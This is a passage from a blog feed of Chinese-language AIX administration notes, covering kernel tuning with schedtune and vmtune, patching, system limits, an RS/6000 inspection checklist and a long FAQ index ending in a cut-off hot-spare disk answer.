<TD class=a14>·　决定用于确定抖动的准则。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>·　决定哪个准则用于挂起进程。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>·　决定在抖动终止后要等待多长时间才重新激活那些先前被挂起的进程。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>·　决定被挂起的进程的最小数目。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>·　调制调度优先级公式。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>·　更改时间片数值。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>·　决定在一把锁上轮询多长时间。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>·　将schedtune值复位到它的缺省值。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>需要注意的是，所有用schedtune作的修改在系统重启后都将丢失。为了确保所需的schedtune值在引导时能够置上，可在/etc/inittab文件中插入适当的schedtune命令。如：schedt:2:once:/usr/samples/kernel/schedtune -s 65536</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14><B>3、vmtune</B></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>vmtune命令负责显示和调整虚存管理器（VMM）和其它AIX部件使用的参数。系统中的根用户可动态修改包括下面这些参数：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>·　VMM页替换</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>·　永久文件读写</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>·　文件系统缓冲区结构（bufstructs）</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>·　LVM缓冲区</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>·　裸输入/输出</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>·　换页空间参数</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>·　页删除</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>·　内存固定参数</TD></TR></TBODY></TABLE>]]></description>
</item><item>
<title><![CDATA[AIX学习笔记]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=7383</link>
<author>xueflhg</author>
<pubDate>2005/7/22 13:22:47</pubDate>
<description><![CDATA[
<TABLE cellSpacing=0 cellPadding=0 width="95%" border=0><!-- BEGIN alcyc -->
<TBODY>
<TR>
<TD align=middle width="100%">
<H2><B>AIX学习笔记</B></H2></TD></TR>
<TR>
<TD width="100%">
<P>AIX学习笔记</P>
<P><A href="http://blog.chinaunix.net/article.php?articleId=14542&amp;blogId=2284"><FONT color=#336699>http://blog.chinaunix.net/article.php?articleId=14542&amp;blogId=2284</FONT></A></P>
<P><FONT color=#336699></FONT>
<P>AIX学习笔记</P>
<P>
<P>一、系统安装完成后,手工安装以下fileset ：<BR>1、将AIX作系统的第一张CD插入CD-ROM 驱动器，在系统提示处输入快速路径smitty install_all。在Input device / directory for software 选项中按F4 选择/dev/cd0。在SOFTWARE to install选项中键入：<BR>bos.acct<BR>bos.data<BR>bos.rte.control <BR>perfagent.tools <BR>bos.dosutil <BR>bos.perf <BR>bos.net <BR>bos.sysmgt <BR>bos.adt<BR>2、在安装完上述软件包后，需要给系统打补丁。使用随AIX系统盘所带的Update CD或从IBM得到的最新的补丁盘。插入CD-ROM 驱动器，在系统提示处输入快速路径smitty update_all，在 Input device / directory for software 选项中按F4 选择/dev/cd0，将COMMIT software updates?选择 no ，将SAVE replaced files? 选择 yes 。服务更新完毕后按F10 退出。这可以保证在新的补丁出现问题时，可以退回以前的版本。当此补丁稳定运行了一段时间后，可以commit它。 <BR>3、可用如下命令检查当前系统所打的补丁： <BR># instfix -i | grep ML&nbsp; <BR>二、磁带机清洁的检查命令：#/usr/lpp/diagnostics/bin/utape -cd rmt0 –n <BR>显示结果为磁带机使用的小时数，若大于72小时，则不论磁带机黄灯是否亮都应用清洁带清洗。 <BR>三、AIX内核属于动态内核，核心参数基本上可以自动调整，因此当系统安装完毕后,应考虑修改的参数一般如下:<BR>A、单机环境 <BR>1、系统用户的最大登录数maxlogin <BR>maxlogin的具体大小可根据用户数设定，可以通过smitty chlicense命令修改，该参数记录于/etc/security/login.cfg文件，修改在系统重新启动后生效。 </P>
<P>2、系统用户的limits参数 <BR>这些参数位于/etc/security/limits文件中，可以把这些参数设为-1,即无限制，可以用vi 修改/etc/security/limits文件，所有修改在用户重新登录后生效。 <BR>default: <BR>fsize = 2097151 ----》改为-1 <BR>core = 2097151 <BR>cpu = -1 <BR>data = 262144 ----》改为-1 <BR>rss = 65536 <BR>stack = 65536 <BR>nofiles = 2000 </P>
<P>3、Paging Space <BR>检查paging space的大小，在物理内存&lt;2G时，应至少设定为物理内存的1.5倍，若物理内存&gt;2G，可作适当调整。同时在创建paging space时, 应尽量分配在不同的硬盘上，提高其性能。利用smitty chps修改原有paging space的大小或smitty mkps增加一块paging space。 </P>
<P>4、系统核心参数配置 <BR>利用lsattr -Elsys0 检查maxuproc, minpout, maxpout等参数的大小。maxuproc为每个用户的最大进程数,通常如果系统运行DB2或ORACLE是应将maxuproc调整，Default：128、调整到500，maxuproc增加可以马上起作用，降低需要AIX重起。当应用涉及大量的顺序读写而影响前台程序响应时间时，可考虑将maxpout设为33, minpout设为16，利用smitty chgsys来设置。 </P>
<P>5、文件系统空间的设定 <BR>一般来说，系统的文件系统/、/usr、/var、/tmp的使用率不要超过80%，/tmp建议至少为300M，文件系统满可导致系统不能正常工作，尤其是AIX的基本文件系统，如/ (根文件系统)满则会导致用户不能登录。用df 查看。 </P>
<P># df -k (查看AIX的基本文件系统) <BR>Filesystem 1024-blocks Free %Used Iused %Iused Mounted on <BR>/dev/hd4 24576 1452 95% 2599 22% / <BR>/dev/hd2 614400 28068 96% 22967 15% /usr <BR>/dev/hd9var 8192 4540 45% 649 32% /var <BR>/dev/hd3 167936 157968 6% 89 1% /tmp <BR>/dev/hd1 16384 5332 68% 1402 35% /home </P>
<P>利用smitty chfs扩展文件系统的空间。 </P>
<P>6、激活SSA Fast-Write Cache <BR>利用smitty ssafastw来激活每一个逻辑盘hdiskn的Fast-Write Cache：选择硬盘后，把Enable Fast-Write一项改为Yes后回车即可。 </P>
<P>7、激活AIO <BR>AIO通常只对文件系统起作用，对裸设备没有作用。最大为10X并行磁盘数&lt;80,最小为最大的一半。 </P>
<P>a、定义系统中的AIO设备 <BR>smit aio -&gt; Configure Defined Asynchronous I/O 然后回车执行； <BR>b、激活系统中的AIO设备 <BR>smit aio -&gt; Change / Show Characteristics of Asynchronous I/O回车出现AIO配置对话框，将对话框中〔STATE to be configured at system restart〕域选择为“available”，然后回车执行； <BR>注：系统会提示只有在重起后才能生效。 </P>
<P>8、rootvg镜像 <BR>因为rootvg损坏系统将无法运行，即使通过备份磁带恢复，也会造成系统停机，因此在磁盘空间充裕的情况下，可考虑对rootvg作镜像，同时在建立rootvg镜像时应尽量使用连接在不同SCSI 上的硬盘以做到负载均衡。利用smitty mirrorvg修改。 </P>
<P>B、双机环境 <BR>在双机环境中，除了考虑上述参数设置外，还需考虑： <BR>1、 High water mark for pending write I/Os per file(maxpout) 和Low water mark for pending write I/Os per file <BR>它们缺省值为0，在双机环境中一般应设High water mark为33,Low water mark为24，这两个参数可用smitty chgsys来设置。 </P>
<P>2、 syncd daemon的数据刷新频率 <BR>该值表示刷新内存数据到硬盘的频率，缺省为60，一般可改为20，也可根据实际情况更改。该参数通过vi /sbin/rc.boot更改，其中一行如下： <BR>nohup /usr/sbin/syncd 60 &gt;/dev/null 2&gt;&amp;1 &amp; <BR>改为： <BR>nohup /usr/sbin/syncd 20 &gt;/dev/null 2&gt;&amp;1 &amp;</P>
<P>四、IBM RS/6000巡检内容及操作指导 </P>
<P>1． IBM RS6000小型机机房要求： <BR>a． 机房的卫生状况，要求清洁，键盘、显示器、机柜上没有灰尘。 <BR>b． 温度（摄氏 ℃）：10 ℃－40℃ ，湿度（%）：8% －80% </P>
<P>2． 设备故障灯分类：主机故障灯 <BR>面板上不能有数字显示，如果有的话，说明系统有故障。 <BR>7133磁盘阵列故障灯 <BR>告警灯为黄色表示有故障 <BR>磁带机故障灯 <BR>告警灯为黄色说明有故障或磁带机太脏，须清洗。 </P>
<P>3． 系统错误报告(Error Log)的检查： <BR>硬件故障检测命令：# errpt -d H -T PERM <BR>若有故障执行命令# errpt -a -d H -T PERM&gt;/tmp/harderror.log保存，分析结果报告给客户 <BR>软件故障检测命令：# errpt -d S -T PERM <BR>若有故障执行命令# errpt -a -d S -T PERM&gt;/tmp/softerror.log保存，分析结果报告给客户 </P>
<P>4． 有否发给root用户的错误报告(mail):#mail <BR>a． 观察所有未读消息，注意有关diagela的消息。 <BR>b． 常用命令： <BR>h [<NUM />] Display headings of group containing message <NUM /><BR>t [<MSG_LIST />] Display messages in <MSG_LIST />or current message. <BR>n Display next message. <BR>q Quit <BR>c． 对发现的问题详细分析，结果报告给客户 </P>
<P>5． 件系统的检查：命令：# df –k <BR>%Used为文件系统的使用率。所有文件系统的使用率不能大于80% </P>
<P>6．磁带机清洁的检查：命令： <BR>#/usr/lpp/diagnostics/bin/utape -cd rmt0 –n <BR>显示结果为磁带机使用的小时数，若大于72小时，则不论磁带机黄灯是否亮都应用清洁带清洗。 </P>
<P>7． 信系统的检测： <BR>a． 网卡的状态：命令： <BR>#ifconfig –a <BR>输出判断： <BR>en0: flags=e080863<UP,BROADCAST,NOTRAILERS,RUNNING,SIMPLEX,MULTICAST,GROUPRT,64BIT /> <BR>inet 192.9.200.2 netmask 0xffffff00 broadcast 192.9.200.255 <BR>en1: flags=e080863<UP,BROADCAST,NOTRAILERS,RUNNING,SIMPLEX,MULTICAST,GROUPRT,64BIT /> <BR>inet 192.9.201.1 netmask 0xffffff00 broadcast 192.9.200.255 <BR>主备网卡的flag为UP属正常。同时检查ip地址和netmask是否正确。 <BR>b． 路由的检测 <BR>命令： <BR>#lsattr –El inet0 <BR>authm 65536 Authentication Methods True <BR>hostname h24 Host Name True <BR>gateway Gateway True <BR>route net,,0,172.16.23.81 Route True <BR>bootup_option no Serial Optical Network Interface True <BR>rout6 FDDI Network Interface True </P>
<P>c． 络的检测 <BR>命令： <BR>#ping [ip address] <BR>输出判断： <BR>用ping命令对/etc/hosts文件中的IP地址进行操作，检测网络是否联通。 </P>
<P>RAID 的Hotspare 属性是否打开 <BR>#smitty ssaraid? Change/Show Attributes of an SSA RAID Array <BR>检查Enable Use of Hot Spares属性是否为YES </P>
<P>8．系统DUMP设置的检查 <BR>命令： <BR>#sysdumdev –l <BR>输出判断： <BR>结果应为 <BR>primary /dev/hd6 <BR>secondary /dev/sysdumpnull <BR>copy directory /var/adm/ras <BR>forced copy flag TRUE <BR>always allow dump FALSE <BR>dump compression OFF <BR>若不正确请用下列命令修改： <BR>#sysdumdev –P –p /dev/hd6 –s /dev/sysdumpnull </P>
<P>9．HACMP 配置检测： Cluster Verification： <BR>命令： <BR># /usr/sbin/cluster/diag/clconfig -v '-tr' <BR>输出判断： <BR>结果无Fail项输出。 </P>
<P>10．系统硬件诊断： <BR>命令顺序为： <BR>1．#diag <BR>2.Enter <BR>3.Diagnostic Routines <BR>4.System Verification <BR>5.All Resources <BR>6.F7 <BR>输出判断： <BR>结果应为No trouble was found. </P>
<P>11．补丁程序(PTF)的检查 <BR>系统维护补丁版本为ML09，检查命令为：#instfix –i |grep ML </P>
<P>12．系统参数的检查 <BR>a．HIGH water mark for pending write I/Os <BR># lsattr -El sys0 |grep maxpout <BR>输出判断： <BR>结果应为 <BR>maxpout 33 HIGH water mark for pending write I/Os per file True <BR>b．LOW water mark for pending write I/Os <BR># lsattr -El sys0|grep minpout <BR>输出判断： <BR>结果应为 <BR>minpout 24 LOW water mark for pending write I/Os per file True <BR>更改命令为： <BR>#chdev -l sys0 -a maxpout='33' -a minpout='24' </P>
<P>c．Syncd参数 <BR># grep syncd /sbin/rc.boot <BR>输出判断： <BR>结果应为 <BR>nohup /usr/sbin/syncd 10 &gt; /dev/null 2&gt;&amp;1 &amp; <BR>更改命令为： <BR>#vi /sbin/rc.boot </P>
<P>d．aio参数 <BR># lsdev -Cc aio <BR>输出判断： <BR>结果应为 <BR>aio0 Available Asynchronous I/O <BR># lsattr -El aio0 <BR>输出判断： <BR>结果应为 <BR>minservers 1 MINIMUM number of servers True <BR>maxservers 10 MAXIMUM number of servers True <BR>maxreqs 4096 Maximum number of REQUESTS True <BR>kprocprio 39 Server PRIORITY True <BR>autoconfig available STATE to be configured at system restart True <BR>fastpath enable State of fast path True <BR>更改命令为： <BR>#smitty aio </P>
<P>e．Limits文件的设置： <BR>#ulimit –a <BR>输出判断： <BR>结果应为 <BR>time(seconds) unlimited <BR>file(blocks) 2097151 <BR>data(kbytes) 262144 //尤其是这项参数 <BR>stack(kbytes) 32768 <BR>memory(kbytes) 32768 <BR>coredump(blocks) 2097151 <BR>nofiles(descriptors) 2000 <BR>更改命令为： <BR>#vi /etc/security/limits <BR>更改data为524288</P>
<P>五、ssa卡的电池可以用如下命令看ssa卡电池的寿命：<BR>/usr/lpp/diagnostics/bin/ssa_fw_status -a ssan<BR>六、dump device空间不够：<BR>1，用sysdumpdev -l看dump device 。<BR>2,用sysdumpdev -e估计dump 的大小。 <BR>3，根据需要扩dump device的大小。<BR>七、查看/var里文件所占的比例：<BR>1、cd /var <BR>2、du -a|sort -rn|more<BR>八、JFS LOG的大小: <BR>1、JFS LOG最大到256MB。<BR>2、2MB JFS LOG可以支持大小为4GB的文件系统。 <BR>3、1个100GB的文件系统未必一定需要50MB的JFS Log，还要取决于该文件系统的文件数量和修改的平凡程度。<BR>4、多个文件系统可以使用同一个JFS LOG，但是，当对于非常繁忙的文件系统，应该建立其各自的JFS LOG，并且尽可能地将JFS LOG放在不同的PV上。另外，建议大家在一些复杂的环境中应该尽可能的在创建文件系统时避免使用系统自动创建的JFS LOG: loglvxx，应该专门将loglvxx按照命名规则改名或另行创建新的JFS LOG，这样可以避免在不同的系统中importvg时出现LV重名的情况。<BR>九：查找大于某一字节的文件的方法:<BR>find -size +文件大小,-size 寻找的文件大小是以512 bytes 计算的,如找大于15MB文件用 :find / -size +30720<BR></P></TD></TR></TBODY></TABLE>]]></description>
</item><item>
<title><![CDATA[AIX常见问题整理]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=7382</link>
<author>xueflhg</author>
<pubDate>2005/7/22 12:46:15</pubDate>
<description><![CDATA[创建时间：2002-08-17<BR>文章属性：原创<BR>文章来源：<A href="http://www.cnsafe.net/" target=_blank>www.cnsafe.net</A><BR>文章提交：<A href="https://www.xfocus.net/bbs/index.php?lang=cn&amp;act=Profile&amp;do=03&amp;MID=8306">mayi</A> (mayi99_at_263.net)<BR><BR>by:ciline<BR>来自：<A href="http://www.cnsafe.net/" target=_blank>www.cnsafe.net</A><BR><BR>提纲：<BR>用feprom_update升级Firmware 2002-07-24 <BR>CHRPSystems系统启动过程的LEDE1DC报错提示 2002-07-24 <BR>怎样在AIX5.1中建立热后备(hotspare)磁盘？ 2002-07-24 <BR>如何让非root用户有权限执行sar命令 2002-07-24 <BR>使用errpt命令，产生0315-171错误 2002-07-24 <BR>普通用户执行su命令时产生错误：Authenticationdenied. 2002-07-24 <BR>查找文件或命令对应的文件集 2002-07-24 <BR>AIX5L新特性（一）：如何确认CPU的主频？ 2002-07-24 <BR>如何记录ftplog? 2002-07-24 <BR>目前哪些RS/6000支持逻辑分区(LPAR)? 2002-07-11 <BR>在移植安装（Migrationinstallation）中都有那些文件和数据保留下来？ 2002-07-11 <BR>如何在保留安装（Preservationinstallation）方式下自定义需要保留的文件？ 2002-07-11 <BR>PTF与APAR的区别？ 2002-07-11 <BR>将man命令查看的内容转换成普通文本文件 2002-07-11 <BR>查看bootlog 2002-07-11 <BR>inetd.conf文件的恢复 2002-07-11 <BR>如何立刻断掉一个已经login的用户？ 2002-07-11 <BR>使用errdemon客户化系统错误日志文件 2002-07-11 <BR>什么版本的Oracle数据库支持AIX5.1 2002-07-11 <BR>IBMpSeries和RS/6000哪些型号可以安装SuSElinux？ 2002-07-11 <BR>如何监控裸设备I/O? 2002-07-11 <BR>在AIX上安装RPM格式软件包 2002-07-11 <BR>gated 进程介绍和应用 2002-03-25 <BR>如何处理 mountd 和 nfsd 无法正常启动 2002-03-25 <BR>如何在图形登录和命令行登录方式见切换？ 2002-01-29 <BR>如何阻止某些用户远程登录，telnet,rlogin? 2002-01-29 <BR>如何拒绝某些用户的ftp访问? 2002-01-29 <BR>如何查看某用户共启动了多少进程？ 2002-01-29 <BR>如何在清理/tmp文件系统时找到过大的文件? 2002-01-29 <BR>如何限制某用户在特定 pty 的访问。 2002-01-28 <BR>如何打开锁死的帐户 2002-01-28 <BR>如何下载RS/6000相关的补丁(Fix,PTF),维护包及微码(Microcode) 2002-01-03 <BR>如果想将linux应用移植到pSeries和RS/6000上，哪里有参考资源？ 2002-01-03 <BR>Aix 4.3上支持超过2GB的文件吗？ 2002-01-03 <BR>IBM INFORMIX数据库级备份都备份了哪些内容？ 2001-12-31 <BR>在RS6000系列机器上如何配置IBM INFORMIX数据库临时数据库空间？ 2001-12-31 <BR>如何改变主机IP地址解析顺序 2001-12-30 <BR>AIX无线系统管理器 2001-12-30 <BR>不能增加用户，错误信息为3004-687 2001-12-20 <BR>如何改变上传ftp文件的缺省读写属性？ 2001-12-19 <BR>AIX中的 rmss 命令的用途 2001-12-19 <BR>在AIX 4.x如何清除挂起的tty 2001-12-18 <BR>在AIX中扩展卡的逻辑名和它所在插槽的对应关系 2001-12-14 <BR>如何对系统做镜像以提高系统高可用性和性能 2001-12-11 <BR>Debug mode 引导AIX 2001-12-10 <BR>kdb command 2001-12-10 <BR>在AIX中如何为一块网卡，配多个IP地址？ 2001-12-03 <BR>AIX内核参数调整之vmtune -p -P(2)? 2001-11-30 <BR>AIX内核参数调整之vmtune -f -F(3)? 2001-11-30 <BR>Linux 与 Pseries/RS6000 2001-11-30 <BR>AIX内核参数调整之vmtune -M(5)? 2001-11-30 <BR>AIX内核参数调整之vmtune -r -R(4)? 2001-11-30 <BR>如何在命令行下运行update_all? 2001-11-29 <BR>如何确定一文件系统是Large File Enabled的文件系统? 2001-11-29 <BR>手工删除smit菜单 2001-11-29 <BR>6230 SSA卡上快写缓存的设置？ 2001-11-29 <BR>支持Xwindows最少需要安装那些文件集(Fileset)？ 2001-11-29 <BR>如何改动IP地址 2001-11-27 <BR>启动sendmail 2001-11-27 <BR>如何显示格林威治时间 2001-11-27 <BR>看SSA逻辑盘与物理盘之间对应关系 2001-11-27 <BR>登录失败次数过多 2001-11-27 <BR>用户名长度问题 2001-11-27 <BR>如何判断引起core文件的应用程序 2001-11-27 <BR>inittab中引用的环境变量 2001-11-27 <BR>解锁卷组 2001-11-27 <BR>在一个磁带上备份多个文件 2001-11-27 <BR>夏时制问题 2001-11-27 <BR>passwd文件的备份 2001-11-27 <BR>如何限制某个用户使用FTP服务 2001-11-27 <BR>在AIX系统中，如何得到一些偏僻的汉字 2001-11-27 <BR>AIX 是否支持 ramdisk 2001-11-15 <BR>什么是 inline log 2001-11-15 <BR>什么是X-window 2001-09-29 <BR>如何增加文件系统中的inode数目 2001-09-28 <BR>如何为调试应用程序性能 定制系统内存环境 2001-09-28 <BR>关于AIX 4.3.3的内核问题。 2001-09-28 <BR>如何在AIX上实现象doskey一样的功能 2001-09-28 <BR>如何修改终端的属性以适应特殊需要 2001-09-28 <BR>另一种让vi编辑超大文本文件的方法 2001-09-28 <BR>如何利用grep的一些高级选项更好地管理系统 2001-09-28 <BR>IBM RS/6000 CPU 与IBM INFORMIX数据库CPU虚处理器的设置 2001-08-28 <BR>AIX 与 LINUX 的结盟 2001-08-17 <BR>哪里可以下载AIX上的JDK? 2001-08-02 <BR>如何在 AIX 中设置 tftp server 2001-07-31 <BR>为什么用CD-ROM有时不能引导AIX 5L 2001-07-16 <BR>AIX 5L 5.1中的64位内核 2001-07-12 <BR>怎样在AIX 5L 5.1中进行64位和32位内核的切换？ 2001-07-12 <BR>何谓EtherChannel？在AIX 5L中,它有何增强？ 2001-07-12 <BR>JFS2 与 JFS的比较 2001-07-11 <BR>AIX 5L V5.1介绍 2001-07-10 <BR>如何确定pSeries和RS/6000 CPU的主频？ 2001-07-04 <BR>利用mksysb进行系统备份有什么好处 2001-07-01 <BR>如何平稳地停止AIX系统运行? 2001-07-01 <BR>如何解决AIX上不能增加新用户，错误讯息 3004-687 2001-07-01 <BR>/var/adm/wtmp档案太大怎么办 2001-07-01 <BR>在Korn Shell中要如何设定 prompt 才会显示出目前所在的目录？ 2001-07-01 <BR>2001/06 AIX安全防范有关的补丁（APAR） 2001-06-26 <BR>当运行mksysb时，系统报错：“rootvg is locked”(根卷组被锁定) 2001-06-25 <BR>如何在Documentation Search Service中删除文档？ 2001-06-25 <BR>CDE 不能启动解疑（一） 2001-06-25 <BR>只有root用户可以登录Xwindows，但普通用户不能登录, 如何处理？ 2001-06-25 <BR>CDE 不能启动解疑（二） 2001-06-25 <BR>执行execd时出现错误0826-604 2001-06-12 <BR>如何配置AIX 5L 中的 Processor Entitlement 2001-06-12 <BR>AIX 5L 的特点 2001-06-12 <BR>怎样镜像rootvg 2001-06-08 <BR>AIX 5L v5.1在网络方面增加了那些新功能？ 2001-06-08 <BR>什么是Dead Gateway Detection(DGD, 失效网关检测）？ 2001-06-08 <BR>Virtual IP Address (VIPA)虚拟IP地址 2001-06-08 <BR>AIX支持的最大socket数 2001-06-08 <BR>建立第二个root用户 2001-06-05 <BR>如何查看系统的telnetd daemon已启动 2001-05-31 <BR>如何使用dd命令备份裸设备 2001-05-31 <BR>使用ls或mv *命令时, 产生"Arguments too long"或"Array list too long"的错误信息 2001-05-31 <BR>普通用户无法执行su命令 2001-05-31 <BR>Aix 版本号介绍 2001-05-31 <BR>在AIX4.3.3系统中，为什么oslevel命令的输出不是4.3.3.0 2001-05-31 <BR>如何查看CPU的时间片的大小 2001-05-30 <BR>恢复文件系统超级块 2001-05-30 <BR>tar备份链接文件 2001-05-30 <BR>在同网段内同步时间 2001-05-30 <BR>在RS6000上，当使用新的7210-025 DVD-RAM 来备份卷组时，可以跨多个CD写文件吗？ 2001-05-29 <BR>运行iostat -d 命令系统返回警告提示" Disk history since boot not available. " 2001-05-23 <BR>设置以太网卡时选择全双工还是半双工? 2001-05-23 <BR>怎样确定当前系统是32位或64位? 2001-05-23 <BR>AIX Version 4.3 Bonus Pack - 2001年4月版 2001-05-23 <BR>AIX V4.3支持超过2GB大文件 2001-05-22 <BR>如何在AIX4.3.3中启动或停止dhcpcd 2001-05-22 <BR>编辑超大文本文件 2001-05-22 <BR>在根目录(/)下执行了rm *,如何恢复系统 2001-05-22 <BR>如何解决License Server 启动时的错误 GRL-2050: Fatal error from I4LLMD 2001-05-22 <BR>怎样创建固定大小的临时大文件 2001-05-22 <BR>smit.log 与 smit.script 文件 2001-05-21 <BR>如何减少文件系统中的碎块 2001-05-21 <BR>AIX中对软盘操作的DOS兼容命令 2001-05-21 <BR>查看系统启动信息(alog) 2001-05-21 <BR>如何查看多用户系统中其它终端的属性 2001-05-21 <BR>查看SSA磁盘中pdisk与hdisk的对应关系 2001-05-21 <BR>如何看机器内的卡及硬盘的微码级别(microcode level) 2001-05-21 <BR>如何在dtterm中使用PageUp/PageDown 上下翻页 2001-04-30 <BR>如何禁止动态路由 2001-04-30 <BR>无法删除文件系统 2001-04-30 <BR>如何限制某些用户无法ftp至RS/6000服务器 2001-04-30 <BR>如何增加文件系统的空间 2001-04-29 <BR>PCI 两口多协议卡（2-Port Multiprotocol PCI Adapter 9-L)的配置方法 2001-04-28 <BR>用户转换错误 2001-04-28 <BR>杀进程的shell程序 2001-04-25 <BR>怎样在AIX中Mount Redhat Linux上的nfs文件系统？ 2001-04-25 <BR>如何限制用户改变密码 2001-04-24 <BR>AIX4.3 的维护包(Maintenance Level) 及推荐维护包(Recommended Maintenance) 2001-03-15 <BR>如何自动启动和关闭软件的运行 2001-01-18 <BR>光盘驱动器错误0514-062: 指定的设备忙. 2001-01-18 <BR>AIX4.3.2下安装显卡GXT130P 2001-01-15 <BR>/var/adm/wtmp文件太大 2001-01-15 <BR>显示设置启动引导顺序 2001-01-15 <BR>安装MAN 2001-01-15 <BR>改变主机IP地址解析顺序 2001-01-15 <BR>telnet提示"所有的网络端口已用" 2001-01-15 <BR>LED 223-229故障的解决 2001-01-05 <BR>LED 553故障的解决 2001-01-05 <BR>AIX版本号释疑 2001-01-05 <BR>/etc/preserve.list文件有什么用? 2001-01-05 <BR>LED 201故障的解决 2001-01-05 <BR>LED 551,555和557故障的解决 2001-01-05 <BR>LED 552,554和556故障的解决 2001-01-05 <BR>如何替换损坏的镜像卷组硬盘? 2001-01-05 <BR>RS/6000液晶显示屏上显示代码(LED)的含义 2001-01-02 <BR>不能增加新用户，错误信息 3004-687 2000-12-29 <BR>拨号访问RS/6000的快速配置方法 2000-12-29 <BR>解决 10/2000 和 11/2000版的 Update CDs引起的NFS及NIM 错误 2000-12-29 <BR>解决升级(Migration) 到 AIX 4.3.3时 可能会遇到的启动失败 2000-12-29 <BR>改变磁盘名顺序 2000-12-29 <BR>如何确定一个备份带的块大小(Block Size)和类型(Type)？ 2000-12-29 <BR>如何创建/dev/null文件? 2000-12-28 <BR>Netscape Communicator无法正常启动 2000-12-28 <BR>如何查找系统中某个文件或命令所对应的文件集? 2000-12-28 <BR>从"卷组被锁定"的报错信息中恢复 2000-12-28 <BR>从LED C31中恢复 2000-12-28 <BR>查看操作系统中是否安装了某个补丁程序的简便方法 2000-12-28 <BR>.sh_history文件被破坏了怎么办? 2000-12-28 <BR>如何屏蔽某一用户的ftp访问? 2000-12-28 <BR>AIX的安装方法及其特点 2000-12-28 <BR>无单点故障的SSA卡及7133配置案例 2000-12-28 <BR>非root用户的登录问题 2000-12-28 <BR>怎样查看RS/6000的物理内存？ 2000-12-27 <BR>关于2000年10、11月的UPDATE CD 中NFS和NIS的错误 2000-12-27 <BR>Communications Server无法启动 2000-12-27 <BR>如何在AIX 4.3中安装联机手册？ 2000-12-27 <BR>何为AIX 5L 2000-12-27 <BR>AIX中如何解决不能释放光驱的问题 2000-12-27 <BR>使用ftp自动传输文件 2000-12-27 <BR>如何快速安装AIX补丁程序? 2000-12-27 <BR>如何监控AIX的单个file/lv/pv的繁忙程度？ 2000-12-27 <BR>检查AIX上的病毒 2000-12-27 <BR>定制自己的AIX Login 画面 2000-12-27 <BR>系统停在 LED C33 2000-12-26 <BR>如何查看物理内存的大小 2000-12-12 <BR>使用命令行安装删除文件包 2000-12-12 <BR>远程客户可通过"login, ftp"登录, 但不可通过"telnet"登录 2000-12-12 <BR>AIX 的许可权限 2000-12-12 <BR>如何解决"device busy"问题 2000-12-12 <BR>IPCS Limitation(AIX 3.2.5 --- AIX 4.3.2) 2000-12-12 <BR>AIX 用户的系统资源使用限制 2000-12-12 <BR>AIX 4.3.3 监控系统活动的新命令--TOPAS 2000-12-05 <BR>在AIX中设置中文环境 2000-12-04 <BR>"Volume Group Locked" 恢复步骤 2000-11-30 <BR>如何在CDE中添加图标？ 2000-11-28 <BR>如何创建 /dev/null 文件 2000-11-27 <BR>如何减小 /var/adm/wtmp 文件的大小? 2000-11-27 <BR>如何查找系统中的某个文件存在于哪个文件集中? 2000-11-27 <BR>怎样使用CDE环境? 2000-11-17 <BR>怎样保存当前的CDE环境 2000-11-17 <BR>如何使.profile文件在CDE中生效？ 2000-11-17 <BR>怎样创建共享库？ 2000-11-17 <BR>何谓COSE? 2000-11-16 <BR>进程kproc 2000-11-14 <BR>如何管理Paging Space 2000-11-14 <BR>异步I/O (aio) 2000-11-14 <BR>裸设备(Raw Device) 2000-11-14 <BR>在AIX4.3.3系统中，为什么oslevel命令的输出不是4.3.3.0？ 2000-11-13 <BR>AIX 4.3.3 的中文输入 2000-11-13 <BR>libc.a 文件恢复 2000-11-13 <BR>何为AIX/Montery 2000-11-13 <BR>如何使用 IBM HTTP Server 支持AIX 联机文档？ 2000-11-13 <BR>7133硬盘连接验证"good" 及"reserved" 2000-11-13 <BR>如何从 LED 553 恢复 2000-11-13 <BR>RAID 技术简介 2000-11-10 <BR>如何减小hd6页面空间 2000-11-09 <BR>在做RS/6000 AIX 订单配置时, 需要配置用户数么? 2000-08-04 <BR>如何下载 RS/6000 PTF(Fixes) 及 Firmware? 2000-06-13 <BR><BR><BR><BR><BR><BR>FAQ:<BR><BR>怎样在AIX 5.1中建立热后备(hot spare)磁盘？<BR><BR>环境&nbsp;&nbsp;AIX 5.1 <BR>问题&nbsp;&nbsp;怎样在AIX 5.1中建立热后备(hot spare)磁盘？ <BR>解答 在AIX 5.1中可以在操作系统的级别上建立hot spare磁盘。<BR>如需要在某一卷组(VG)中建立hot spare磁盘，必须满足如下条件：<BR>1. 逻辑卷(LV)在此卷组中必须进行镜像(mirror)。<BR>2. 作为hot spare的磁盘上不能有任何的逻辑卷或文件系统。<BR>3. hot spare盘的容量应大于或等于此卷组中最大磁盘的容量。<BR><BR>当满足以上条件后，可采用以下步骤(此处假设卷组名为testvg,<BR>磁盘为hdisk6):<BR><BR><BR>1. # exptendvg testvg 